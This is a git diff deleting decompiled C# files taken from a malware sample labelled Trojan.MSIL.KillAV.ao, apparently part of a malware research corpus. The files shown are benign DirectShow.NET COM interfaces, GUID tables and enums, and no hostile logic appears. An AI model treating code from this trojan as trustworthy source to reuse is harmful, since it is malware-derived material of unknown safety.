a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig.cs deleted file mode 100644 index ac562688..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRFilterConfig -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("9e5530c5-7034-48b4-bb46-0b8a6efc8e36")] - [ComImport] - public interface IVMRFilterConfig - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetImageCompositor([In] IntPtr lpVMRImgCompositor); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNumberOfStreams([In] uint dwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfStreams(out uint pdwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingPrefs([In] uint dwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingPrefs(out uint pdwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingMode([In] uint Mode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingMode(out VMRMode Mode); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig9.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig9.cs deleted file mode 100644 index 20c84a28..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig9.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRFilterConfig9 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("5a804648-4f66-4867-9c43-4f5c822cf1b8")] - [ComImport] - public interface IVMRFilterConfig9 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetImageCompositor([In] IntPtr lpVMRImgCompositor); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNumberOfStreams([In] uint dwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfStreams(out uint pdwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingPrefs([In] uint dwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingPrefs(out uint pdwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingMode([In] VMRMode9 Mode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingMode(out VMRMode9 Mode); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl.cs deleted file mode 100644 index e15d32a1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRWindowlessControl -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("0eb1088c-4dcd-46f0-878f-39dae86a51b7")] - [ComImport] - public interface IVMRWindowlessControl - { - int GetNativeVideoSize( - out int lpWidth, - out int lpHeight, - out int lpARWidth, - out int lpARHeight); - - int GetMinIdealVideoSize(out int lpHeight); - - int GetMaxIdealVideoSize(out int lpWidth, out int lpHeight); - - int SetVideoPosition([MarshalAs(UnmanagedType.LPStruct), In] RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct), In] RECT lpDSTRect); - - int GetVideoPosition([MarshalAs(UnmanagedType.LPStruct)] out RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct)] out RECT lpDSTRect); - - int GetAspectRatioMode(out uint lpAspectRatioMode); - - int SetAspectRatioMode([In] uint AspectRatioMode); - - int SetVideoClippingWindow([In] IntPtr hwnd); - - int RepaintVideo([In] IntPtr hwnd, [In] IntPtr hdc); - - int DisplayModeChanged(); - - int GetCurrentImage(out IntPtr lpDib); - - int SetBorderColor([In] uint Clr); - - int GetBorderColor(out uint lpClr); - - int SetColorKey([In] uint Clr); - - int GetColorKey(out uint lpClr); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl9.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl9.cs deleted file mode 100644 index 84f8d772..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl9.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRWindowlessControl9 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("8f537d09-f85e-4414-b23b-502e54c79927")] - [ComImport] - public interface IVMRWindowlessControl9 - { - int GetNativeVideoSize( - out int lpWidth, - out int lpHeight, - out int lpARWidth, - out int lpARHeight); - - int GetMinIdealVideoSize(out int lpHeight); - - int GetMaxIdealVideoSize(out int lpWidth, out int lpHeight); - - int SetVideoPosition([MarshalAs(UnmanagedType.LPStruct), In] RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct), In] RECT lpDSTRect); - - int GetVideoPosition([MarshalAs(UnmanagedType.LPStruct)] out RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct)] out RECT lpDSTRect); - - int GetAspectRatioMode(out VMR9AspectRatioMode lpAspectRatioMode); - - int SetAspectRatioMode([In] VMR9AspectRatioMode AspectRatioMode); - - int SetVideoClippingWindow([In] IntPtr hwnd); - - int RepaintVideo([In] IntPtr hwnd, [In] IntPtr hdc); - - int DisplayModeChanged(); - - int GetCurrentImage(out IntPtr lpDib); - - int SetBorderColor([In] uint Clr); - - int GetBorderColor(out uint lpClr); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoFrameStep.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoFrameStep.cs deleted file mode 100644 index 7a6a14ae..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoFrameStep.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVideoFrameStep -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("e46a9787-2b71-444d-a4b5-1fab7b708d6a")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [ComImport] - public interface IVideoFrameStep - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Step(int dwFrames, [MarshalAs(UnmanagedType.IUnknown), In] object pStepObject); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanStep(int bMultiple, [MarshalAs(UnmanagedType.IUnknown), In] object pStepObject); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CancelStep(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoWindow.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoWindow.cs deleted file mode 100644 index eb7e9187..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoWindow.cs +++ /dev/null @@ -1,136 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVideoWindow -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a868b4-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IVideoWindow - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Caption(string caption); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Caption(out string caption); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_WindowStyle(int windowStyle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_WindowStyle(out int windowStyle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_WindowStyleEx(int windowStyleEx); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_WindowStyleEx(out int windowStyleEx); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_AutoShow(int autoShow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_AutoShow(out int autoShow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_WindowState(int windowState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_WindowState(out int windowState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_BackgroundPalette(int backgroundPalette); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_BackgroundPalette(out int backgroundPalette); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Visible(int visible); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Visible(out int visible); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Left(int left); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Left(out int left); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Width(int width); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Width(out int width); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Top(int top); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Top(out int top); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Height(int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Height(out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Owner(IntPtr owner); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Owner(out IntPtr owner); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_MessageDrain(IntPtr drain); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_MessageDrain(out IntPtr drain); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_BorderColor(out int color); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_BorderColor(int color); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_FullScreenMode(out int fullScreenMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_FullScreenMode(int fullScreenMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetWindowForeground(int focus); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int NotifyOwnerMessage(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetWindowPosition(int left, int top, int width, int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetWindowPosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMinIdealImageSize(out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMaxIdealImageSize(out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRestorePosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int HideCursor(int hideCursor); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsCursorHidden(out int hideCursor); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaSubType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaSubType.cs deleted file mode 100644 index c69d51a0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaSubType.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.MediaSubType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class MediaSubType - { - public static readonly Guid YUYV = new Guid(1448695129, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid IYUV = new Guid(1448433993, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid DVSD = new Guid(1146312260, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid RGB1 = new Guid(3828804472U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB4 = new Guid(3828804473U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB8 = new Guid(3828804474U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB565 = new Guid(3828804475U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB555 = new Guid(3828804476U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB24 = new Guid(3828804477U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB32 = new Guid(3828804478U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid Avi = new Guid(3828804488U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid Asf = new Guid(1035472784U, (ushort) 37906, (ushort) 4561, (byte) 173, (byte) 237, (byte) 0, (byte) 0, (byte) 248, (byte) 117, (byte) 75, (byte) 153); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaType.cs deleted file mode 100644 index c490f832..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaType.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.MediaType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class MediaType - { - public static readonly Guid Video = new Guid(1935960438, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Interleaved = new Guid(1937138025, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Audio = new Guid(1935963489, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Text = new Guid(1937012852, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Stream = new Guid(3828804483U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PhysicalConnectorType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PhysicalConnectorType.cs deleted file mode 100644 index 2710a493..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PhysicalConnectorType.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PhysicalConnectorType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum PhysicalConnectorType - { - Video_Tuner = 1, - Video_Composite = 2, - Video_SVideo = 3, - Video_RGB = 4, - Video_YRYBY = 5, - Video_SerialDigital = 6, - Video_ParallelDigital = 7, - Video_SCSI = 8, - Video_AUX = 9, - Video_1394 = 10, // 0x0000000A - Video_USB = 11, // 0x0000000B - Video_VideoDecoder = 12, // 0x0000000C - Video_VideoEncoder = 13, // 0x0000000D - Video_SCART = 14, // 0x0000000E - Audio_Tuner = 4096, // 0x00001000 - Audio_Line = 4097, // 0x00001001 - Audio_Mic = 4098, // 0x00001002 - Audio_AESDigital = 4099, // 0x00001003 - Audio_SPDIFDigital = 4100, // 0x00001004 - Audio_SCSI = 4101, // 0x00001005 - Audio_AUX = 4102, // 0x00001006 - Audio_1394 = 4103, // 0x00001007 - Audio_USB = 4104, // 0x00001008 - Audio_AudioDecoder = 4105, // 0x00001009 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinCategory.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinCategory.cs deleted file mode 100644 index e9b98c50..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinCategory.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PinCategory -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class PinCategory - { - public static readonly Guid Capture = new Guid(4218176129U, (ushort) 851, (ushort) 4561, (byte) 144, (byte) 95, (byte) 0, (byte) 0, (byte) 192, (byte) 204, (byte) 22, (byte) 186); - public static readonly Guid Preview = new Guid(4218176130U, (ushort) 851, (ushort) 4561, (byte) 144, (byte) 95, (byte) 0, (byte) 0, (byte) 192, (byte) 204, (byte) 22, (byte) 186); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinDirection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinDirection.cs deleted file mode 100644 index bf699be9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinDirection.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PinDirection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum PinDirection - { - Input, - Output, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinInfo.cs deleted file mode 100644 index 623fce7d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinInfo.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PinInfo -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode)] - public struct PinInfo - { - public IBaseFilter filter; - public PinDirection dir; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] - public string name; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/RECT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/RECT.cs deleted file mode 100644 index 9850a7ff..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/RECT.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.RECT -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct RECT - { - private int left; - private int top; - private int right; - private int bottom; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/SeekingCapabilities.cs 